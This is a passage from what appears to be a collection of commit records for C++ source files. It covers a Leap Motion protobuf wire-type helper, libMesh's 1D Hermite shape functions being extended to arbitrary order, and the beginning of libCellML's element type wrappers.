WireType::LenDelimit;\n case serial_atom::finalized_descriptor:\n break;\n case serial_atom::ignored:\n throw std::invalid_argument(\"serial_atom::ignored is a utility type and should not be used in ordinary operations\");\n }\n throw std::invalid_argument(\"Attempted to find a wire type for an unrecognized serial atom type\");\n}\n\nconst char* leap::internal::protobuf::ToProtobufField(serial_atom atom) {\n switch (atom) {\n case serial_atom::boolean:\n return \"bool\";\n case serial_atom::i8:\n case serial_atom::i16:\n case serial_atom::i32:\n return \"sint32\";\n case serial_atom::i64:\n return \"sint64\";\n case serial_atom::ui8:\n case serial_atom::ui16:\n case serial_atom::ui32:\n return \"int32\";\n case serial_atom::ui64:\n return \"int64\";\n case serial_atom::f32:\n return \"float\";\n case serial_atom::f64:\n case serial_atom::f80:\n return \"double\";\n case serial_atom::reference:\n break;\n case serial_atom::array:\n case serial_atom::string:\n return \"string\";\n case serial_atom::map:\n break;\n case serial_atom::descriptor:\n case serial_atom::finalized_descriptor:\n break;\n case serial_atom::ignored:\n throw std::invalid_argument(\"Invalid serial atom type\");\n }\n throw std::invalid_argument(\"Attempted to obtain the protobuf field of a non-value type\");\n}\n\nstatic std::string FormatError(const descriptor& descriptor) {\n std::stringstream ss;\n ss << \"The OArchiveProtobuf requires that all entries have identifiers\" << std::endl\n << \"Fields at the following offsets do not have identifiers:\" << std::endl;\n for (const auto& field_descriptor : descriptor.field_descriptors)\n ss << \"[ \" << std::left << std::setw(8) << ToString(field_descriptor.serializer.type()) << \" ] @+\" << field_descriptor.offset << std::endl;\n return ss.str();\n}\n\ninternal::protobuf::serialization_error::serialization_error(std::string&& err) :\n ::leap::serialization_error(std::move(err))\n{}\n\ninternal::protobuf::serialization_error::serialization_error(const descriptor& descriptor) :\n ::leap::serialization_error(FormatError(descriptor))\n{}\n<commit_msg>Add missing `f80` case statement<commit_after>\/\/ Copyright (C) 2012-2015 Leap Motion, Inc. All rights reserved.\n#include \"stdafx.h\"\n#include \"ProtobufUtil.hpp\"\n#include \"Archive.h\"\n#include \"Descriptor.h\"\n#include <iomanip>\n#include <sstream>\n\nusing namespace leap;\nusing leap::internal::protobuf::WireType;\n\nWireType leap::internal::protobuf::ToWireType(serial_atom atom) {\n switch (atom) {\n case serial_atom::boolean:\n case serial_atom::i8:\n case serial_atom::ui8:\n case serial_atom::i16:\n case serial_atom::ui16:\n case serial_atom::i32:\n case serial_atom::ui32:\n case serial_atom::i64:\n case serial_atom::ui64:\n return WireType::Varint;\n case serial_atom::f32:\n return WireType::DoubleWord;\n case serial_atom::f64:\n case serial_atom::f80:\n return WireType::QuadWord;\n case serial_atom::reference:\n case serial_atom::array:\n return WireType::LenDelimit;\n case serial_atom::string:\n return WireType::LenDelimit;\n case serial_atom::map:\n break;\n case serial_atom::descriptor:\n return WireType::LenDelimit;\n case serial_atom::finalized_descriptor:\n break;\n case serial_atom::ignored:\n throw std::invalid_argument(\"serial_atom::ignored is a utility type and should not be used in ordinary operations\");\n }\n throw std::invalid_argument(\"Attempted to find a wire type for an unrecognized serial atom type\");\n}\n\nconst char* leap::internal::protobuf::ToProtobufField(serial_atom atom) {\n switch (atom) {\n case serial_atom::boolean:\n return \"bool\";\n case serial_atom::i8:\n case serial_atom::i16:\n case serial_atom::i32:\n return \"sint32\";\n case serial_atom::i64:\n return \"sint64\";\n case serial_atom::ui8:\n case serial_atom::ui16:\n case serial_atom::ui32:\n return \"int32\";\n case serial_atom::ui64:\n return \"int64\";\n case serial_atom::f32:\n return \"float\";\n case serial_atom::f64:\n case serial_atom::f80:\n return \"double\";\n case serial_atom::reference:\n break;\n case serial_atom::array:\n case serial_atom::string:\n return \"string\";\n case serial_atom::map:\n break;\n case serial_atom::descriptor:\n case serial_atom::finalized_descriptor:\n break;\n case serial_atom::ignored:\n throw std::invalid_argument(\"Invalid serial atom type\");\n }\n throw std::invalid_argument(\"Attempted to obtain the protobuf field of a non-value type\");\n}\n\nstatic std::string FormatError(const descriptor& descriptor) {\n std::stringstream ss;\n ss << \"The OArchiveProtobuf requires that all entries have identifiers\" << std::endl\n << \"Fields at the following offsets do not have identifiers:\" << std::endl;\n for (const auto& field_descriptor : descriptor.field_descriptors)\n ss << \"[ \" << std::left << std::setw(8) << ToString(field_descriptor.serializer.type()) << \" ] @+\" << field_descriptor.offset << std::endl;\n return ss.str();\n}\n\ninternal::protobuf::serialization_error::serialization_error(std::string&& err) :\n ::leap::serialization_error(std::move(err))\n{}\n\ninternal::protobuf::serialization_error::serialization_error(const descriptor& descriptor) :\n ::leap::serialization_error(FormatError(descriptor))\n{}\n<|endoftext|>"} {"text":"<commit_before>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2016 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\/\/ C++ inlcludes\n\n\/\/ Local includes\n#include \"libmesh\/fe.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/utility.h\"\n\nnamespace\n{\nusing namespace libMesh;\n\n\/\/ Compute the static coefficients for an element\nvoid hermite_compute_coefs(const Elem * elem, Real & d1xd1x, Real & d2xd2x)\n{\n const Order mapping_order (elem->default_order());\n const ElemType mapping_elem_type (elem->type());\n const int n_mapping_shape_functions =\n FE<1,LAGRANGE>::n_shape_functions(mapping_elem_type,\n mapping_order);\n\n \/\/ Degrees of freedom are at vertices and edge midpoints\n std::vector<Point> dofpt;\n dofpt.push_back(Point(-1));\n dofpt.push_back(Point(1));\n\n \/\/ Mapping functions - first derivatives at each dofpt\n std::vector<Real> dxdxi(2);\n std::vector<Real> dxidx(2);\n\n for (int p = 0; p != 2; ++p)\n {\n dxdxi[p] = 0;\n for (int i = 0; i != n_mapping_shape_functions; ++i)\n {\n const Real ddxi = FE<1,LAGRANGE>::shape_deriv\n (mapping_elem_type, mapping_order, i, 0, dofpt[p]);\n dxdxi[p] += elem->point(i)(0) * ddxi;\n }\n }\n\n \/\/ Calculate derivative scaling factors\n\n d1xd1x = dxdxi[0];\n d2xd2x = dxdxi[1];\n}\n\n\n} \/\/ end anonymous namespace\n\n\nnamespace libMesh\n{\n\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape_second_deriv (const unsigned int i, const Real xi)\n{\n using Utility::pow;\n\n switch (i)\n {\n case 0:\n return 1.5 * xi;\n case 1:\n return -1.5 * xi;\n case 2:\n return 0.5 * (-1. + 3.*xi);\n case 3:\n return 0.5 * (1. + 3.*xi);\n case 4:\n return (8.*xi*xi + 4.*(xi*xi-1.))\/24.;\n case 5:\n return (8.*xi*xi*xi + 12.*xi*(xi*xi-1.))\/120.;\n \/\/ case 6:\n \/\/ return (8.*pow<4>(xi) + 20.*xi*xi*(xi*xi-1.) +\n \/\/ 2.*(xi*xi-1)*(xi*xi-1))\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (8.*pow<4>(xi)*xipower +\n (8.*(i-4)+4.)*xi*xi*xipower*(xi*xi-1.) +\n (i-4)*(i-5)*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape_deriv(const unsigned int i, const Real xi)\n{\n switch (i)\n {\n case 0:\n return 0.75 * (-1. + xi*xi);\n case 1:\n return 0.75 * (1. - xi*xi);\n case 2:\n return 0.25 * (-1. - 2.*xi + 3.*xi*xi);\n case 3:\n return 0.25 * (-1. + 2.*xi + 3.*xi*xi);\n case 4:\n return 4.*xi * (xi*xi-1.)\/24.;\n case 5:\n return (4*xi*xi*(xi*xi-1.) + (xi*xi-1.)*(xi*xi-1.))\/120.;\n \/\/ case 6:\n \/\/ return (4*xi*xi*xi*(xi*xi-1.) + 2*xi*(xi*xi-1.)*(xi*xi-1.))\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (4*xi*xi*xi*xipower*(xi*xi-1.) +\n (i-4)*xi*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape(const unsigned int i, const Real xi)\n{\n switch (i)\n {\n case 0:\n return 0.25 * (2. - 3.*xi + xi*xi*xi);\n case 1:\n return 0.25 * (2. + 3.*xi - xi*xi*xi);\n case 2:\n return 0.25 * (1. - xi - xi*xi + xi*xi*xi);\n case 3:\n return 0.25 * (-1. - xi + xi*xi + xi*xi*xi);\n \/\/ All high order terms have the form x^(p-4)(x^2-1)^2\/p!\n case 4:\n return (xi*xi-1.) * (xi*xi-1.)\/24.;\n case 5:\n return xi * (xi*xi-1.) * (xi*xi-1.)\/120.;\n \/\/ case 6:\n \/\/ return xi*xi * (xi*xi-1.) * (xi*xi-1.)\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (xi*xi*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape(const ElemType,\n const Order,\n const unsigned int,\n const Point &)\n{\n libmesh_error_msg(\"Hermite elements require the real element \\nto construct gradient-based degrees of freedom.\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape(const Elem * elem,\n const Order order,\n const unsigned int i,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n const Order totalorder = static_cast<Order>(order + elem->p_level());\n\n switch (totalorder)\n {\n \/\/ Hermite cubic shape functions\n case THIRD:\n {\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n libmesh_assert_less (i, 4);\n\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n }\n \/\/ by default throw an error\n default:\n libmesh_error_msg(\"ERROR: Unsupported polynomial order = \" << totalorder);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_deriv(const ElemType,\n const Order,\n const unsigned int,\n const unsigned int,\n const Point &)\n{\n libmesh_error_msg(\"Hermite elements require the real element \\nto construct gradient-based degrees of freedom.\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_deriv(const Elem * elem,\n const Order order,\n const unsigned int i,\n const unsigned int,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n const Order totalorder = static_cast<Order>(order + elem->p_level());\n\n switch (totalorder)\n {\n \/\/ Hermite cubic shape functions\n case THIRD:\n {\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape_deriv(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape_deriv(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape_deriv(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape_deriv(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape_deriv(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n }\n \/\/ by default throw an error\n default:\n libmesh_error_msg(\"ERROR: Unsupported polynomial order = \" << totalorder);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_second_deriv(const Elem * elem,\n const Order order,\n const unsigned int i,\n const unsigned int,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n const Order totalorder = static_cast<Order>(order + elem->p_level());\n\n switch (totalorder)\n {\n \/\/ Hermite cubic shape functions\n case THIRD:\n {\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape_second_deriv(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape_second_deriv(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape_second_deriv(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape_second_deriv(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape_second_deriv(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n }\n \/\/ by default throw an error\n default:\n libmesh_error_msg(\"ERROR: Unsupported polynomial order = \" << totalorder);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n} \/\/ namespace libMesh\n<commit_msg>Enable 1D HERMITE elements of arbitrary p<commit_after>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2016 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n\n\/\/ C++ inlcludes\n\n\/\/ Local includes\n#include \"libmesh\/fe.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/utility.h\"\n\nnamespace\n{\nusing namespace libMesh;\n\n\/\/ Compute the static coefficients for an element\nvoid hermite_compute_coefs(const Elem * elem, Real & d1xd1x, Real & d2xd2x)\n{\n const Order mapping_order (elem->default_order());\n const ElemType mapping_elem_type (elem->type());\n const int n_mapping_shape_functions =\n FE<1,LAGRANGE>::n_shape_functions(mapping_elem_type,\n mapping_order);\n\n \/\/ Degrees of freedom are at vertices and edge midpoints\n std::vector<Point> dofpt;\n dofpt.push_back(Point(-1));\n dofpt.push_back(Point(1));\n\n \/\/ Mapping functions - first derivatives at each dofpt\n std::vector<Real> dxdxi(2);\n std::vector<Real> dxidx(2);\n\n for (int p = 0; p != 2; ++p)\n {\n dxdxi[p] = 0;\n for (int i = 0; i != n_mapping_shape_functions; ++i)\n {\n const Real ddxi = FE<1,LAGRANGE>::shape_deriv\n (mapping_elem_type, mapping_order, i, 0, dofpt[p]);\n dxdxi[p] += elem->point(i)(0) * ddxi;\n }\n }\n\n \/\/ Calculate derivative scaling factors\n\n d1xd1x = dxdxi[0];\n d2xd2x = dxdxi[1];\n}\n\n\n} \/\/ end anonymous namespace\n\n\nnamespace libMesh\n{\n\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape_second_deriv (const unsigned int i, const Real xi)\n{\n using Utility::pow;\n\n switch (i)\n {\n case 0:\n return 1.5 * xi;\n case 1:\n return -1.5 * xi;\n case 2:\n return 0.5 * (-1. + 3.*xi);\n case 3:\n return 0.5 * (1. + 3.*xi);\n case 4:\n return (8.*xi*xi + 4.*(xi*xi-1.))\/24.;\n case 5:\n return (8.*xi*xi*xi + 12.*xi*(xi*xi-1.))\/120.;\n \/\/ case 6:\n \/\/ return (8.*pow<4>(xi) + 20.*xi*xi*(xi*xi-1.) +\n \/\/ 2.*(xi*xi-1)*(xi*xi-1))\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (8.*pow<4>(xi)*xipower +\n (8.*(i-4)+4.)*xi*xi*xipower*(xi*xi-1.) +\n (i-4)*(i-5)*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape_deriv(const unsigned int i, const Real xi)\n{\n switch (i)\n {\n case 0:\n return 0.75 * (-1. + xi*xi);\n case 1:\n return 0.75 * (1. - xi*xi);\n case 2:\n return 0.25 * (-1. - 2.*xi + 3.*xi*xi);\n case 3:\n return 0.25 * (-1. + 2.*xi + 3.*xi*xi);\n case 4:\n return 4.*xi * (xi*xi-1.)\/24.;\n case 5:\n return (4*xi*xi*(xi*xi-1.) + (xi*xi-1.)*(xi*xi-1.))\/120.;\n \/\/ case 6:\n \/\/ return (4*xi*xi*xi*(xi*xi-1.) + 2*xi*(xi*xi-1.)*(xi*xi-1.))\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (4*xi*xi*xi*xipower*(xi*xi-1.) +\n (i-4)*xi*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\ntemplate<>\nReal FEHermite<1>::hermite_raw_shape(const unsigned int i, const Real xi)\n{\n switch (i)\n {\n case 0:\n return 0.25 * (2. - 3.*xi + xi*xi*xi);\n case 1:\n return 0.25 * (2. + 3.*xi - xi*xi*xi);\n case 2:\n return 0.25 * (1. - xi - xi*xi + xi*xi*xi);\n case 3:\n return 0.25 * (-1. - xi + xi*xi + xi*xi*xi);\n \/\/ All high order terms have the form x^(p-4)(x^2-1)^2\/p!\n case 4:\n return (xi*xi-1.) * (xi*xi-1.)\/24.;\n case 5:\n return xi * (xi*xi-1.) * (xi*xi-1.)\/120.;\n \/\/ case 6:\n \/\/ return xi*xi * (xi*xi-1.) * (xi*xi-1.)\/720.;\n default:\n Real denominator = 720., xipower = 1.;\n for (unsigned n=6; n != i; ++n)\n {\n xipower *= xi;\n denominator *= (n+1);\n }\n return (xi*xi*xipower*(xi*xi-1.)*(xi*xi-1.))\/denominator;\n\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape(const ElemType,\n const Order,\n const unsigned int,\n const Point &)\n{\n libmesh_error_msg(\"Hermite elements require the real element \\nto construct gradient-based degrees of freedom.\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape(const Elem * elem,\n const Order order,\n const unsigned int i,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n#ifndef NDEBUG\n const unsigned int totalorder = order + elem->p_level();\n#endif\n\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n libmesh_assert_less (i, totalorder+1);\n\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_deriv(const ElemType,\n const Order,\n const unsigned int,\n const unsigned int,\n const Point &)\n{\n libmesh_error_msg(\"Hermite elements require the real element \\nto construct gradient-based degrees of freedom.\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_deriv(const Elem * elem,\n const Order order,\n const unsigned int i,\n const unsigned int,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n#ifndef NDEBUG\n const unsigned int totalorder = order + elem->p_level();\n#endif\n\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n libmesh_assert_less (i, totalorder+1);\n\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape_deriv(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape_deriv(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape_deriv(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape_deriv(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape_deriv(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n\n\ntemplate <>\nReal FE<1,HERMITE>::shape_second_deriv(const Elem * elem,\n const Order order,\n const unsigned int i,\n const unsigned int,\n const Point & p)\n{\n libmesh_assert(elem);\n\n \/\/ Coefficient naming: d(1)d(2n) is the coefficient of the\n \/\/ global shape function corresponding to value 1 in terms of the\n \/\/ local shape function corresponding to normal derivative 2\n Real d1xd1x, d2xd2x;\n\n hermite_compute_coefs(elem, d1xd1x, d2xd2x);\n\n const ElemType type = elem->type();\n\n#ifndef NDEBUG\n const unsigned int totalorder = order + elem->p_level();\n#endif\n\n switch (type)\n {\n \/\/ C1 functions on the C1 cubic edge\n case EDGE2:\n case EDGE3:\n {\n libmesh_assert_less (i, totalorder+1);\n\n switch (i)\n {\n case 0:\n return FEHermite<1>::hermite_raw_shape_second_deriv(0, p(0));\n case 1:\n return d1xd1x * FEHermite<1>::hermite_raw_shape_second_deriv(2, p(0));\n case 2:\n return FEHermite<1>::hermite_raw_shape_second_deriv(1, p(0));\n case 3:\n return d2xd2x * FEHermite<1>::hermite_raw_shape_second_deriv(3, p(0));\n default:\n return FEHermite<1>::hermite_raw_shape_second_deriv(i, p(0));\n }\n }\n default:\n libmesh_error_msg(\"ERROR: Unsupported element type = \" << type);\n }\n\n libmesh_error_msg(\"We'll never get here!\");\n return 0.;\n}\n\n} \/\/ namespace libMesh\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"libcellml\/types.h\"\n\n#include \"libcellml\/component.h\"\n#include \"libcellml\/importsource.h\"\n#include \"libcellml\/model.h\"\n#include \"libcellml\/reset.h\"\n#include \"libcellml\/units.h\"\n#include \"libcellml\/variable.h\"\n\n#include \"anycellmlelement_p.h\"\n#include \"internaltypes.h\"\n\nnamespace libcellml {\n\n\/**\n * @brief The UnitsItem::UnitsItemImpl struct.\n *\n * The private implementation for the UnitsItem class.\n *\/\nstruct UnitsItem::UnitsItemImpl\n{\n UnitsWeakPtr mUnits; \/**< Units that owns this units item.*\/\n size_t mIndex = std::numeric_limits<size_t>::max(); \/**< Index of this units item.*\/\n};\n\nUnitsItem::UnitsItem(const UnitsPtr &units, size_t index)\n : mPimpl(new UnitsItemImpl())\n{\n mPimpl->mUnits = units;\n mPimpl->mIndex = index;\n}\n\nUnitsItem::~UnitsItem()\n{\n delete mPimpl;\n}\n\nUnitsItemPtr UnitsItem::create(const UnitsPtr &units, size_t index) noexcept\n{\n return std::shared_ptr<UnitsItem> {new UnitsItem {units, index}};\n}\n\nUnitsPtr UnitsItem::units() const\n{\n return mPimpl->mUnits.lock();\n}\n\nsize_t UnitsItem::index() const\n{\n return mPimpl->mIndex;\n}\n\nbool UnitsItem::isValid() const\n{\n return mPimpl->mIndex < mPimpl->mUnits.lock()->unitCount();\n}\n\n\/**\n * @brief The VariablePair::VariablePairImpl struct.\n *\n * The private implementation for the VariablePair class.\n *\/\nstruct VariablePair::VariablePairImpl\n{\n VariableWeakPtr mVariable1; \/**< Variable 1 for the pair.*\/\n VariableWeakPtr mVariable2; \/**< Variable 2 for the pair.*\/\n};\n\nVariablePair::VariablePair(const VariablePtr &variable1, const VariablePtr &variable2)\n : mPimpl(new VariablePairImpl())\n{\n mPimpl->mVariable1 = variable1;\n mPimpl->mVariable2 = variable2;\n}\n\nVariablePairPtr VariablePair::create(const VariablePtr &variable1, const VariablePtr &variable2) noexcept\n{\n return std::shared_ptr<VariablePair> {new VariablePair {variable1, variable2}};\n}\n\nVariablePair::~VariablePair()\n{\n delete mPimpl;\n}\n\nVariablePtr VariablePair::variable1() const\n{\n return mPimpl->mVariable1.lock();\n}\n\nVariablePtr VariablePair::variable2() const\n{\n return mPimpl->mVariable2.lock();\n}\n\nbool VariablePair::isValid() const\n{\n return (mPimpl->mVariable1.lock() != nullptr) && (mPimpl->mVariable2.lock() != nullptr);\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setComponent(const ComponentPtr &component, CellmlElementType type)\n{\n mType = type;\n mItem = component;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setImportSource(const ImportSourcePtr &importSource)\n{\n mType = CellmlElementType::IMPORT;\n mItem = importSource;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setModel(const ModelPtr &model, CellmlElementType type)\n{\n mType = type;\n mItem = model;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setReset(const ResetPtr &reset, CellmlElementType type)\n{\n mType = type;\n mItem = reset;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setUnits(const UnitsPtr &units)\n{\n mType = CellmlElementType::UNITS;\n mItem = units;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setUnitsItem(const UnitsItemPtr &unitsItem)\n{\n mType = CellmlElementType::UNIT;\n mItem = unitsItem;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariable(const VariablePtr &variable)\n{\n mType = CellmlElementType::VARIABLE;\n mItem = variable;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariablePair(const VariablePairPtr &pair, CellmlElementType type)\n{\n mType = type;\n mItem = pair;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariablePair(const VariablePtr &variable1, const VariablePtr &variable2, CellmlElementType type)\n{\n mType = type;\n mItem = VariablePair::create(variable1, variable2);\n}\n\nAnyCellmlElement::AnyCellmlElement()\n : mPimpl(new AnyCellmlElementImpl())\n{\n}\n\nAnyCellmlElement::~AnyCellmlElement()\n{\n delete mPimpl;\n}\n\nCellmlElementType AnyCellmlElement::type() const\n{\n return mPimpl->mType;\n}\n\nComponentPtr AnyCellmlElement::component() const\n{\n if ((mPimpl->mType == CellmlElementType::COMPONENT)\n || (mPimpl->mType == CellmlElementType::COMPONENT_REF)) {\n try {\n return std::any_cast<ComponentPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nVariablePairPtr AnyCellmlElement::variablePair() const\n{\n if ((mPimpl->mType == CellmlElementType::CONNECTION)\n || (mPimpl->mType == CellmlElementType::MAP_VARIABLES)) {\n try {\n return std::any_cast<VariablePairPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) 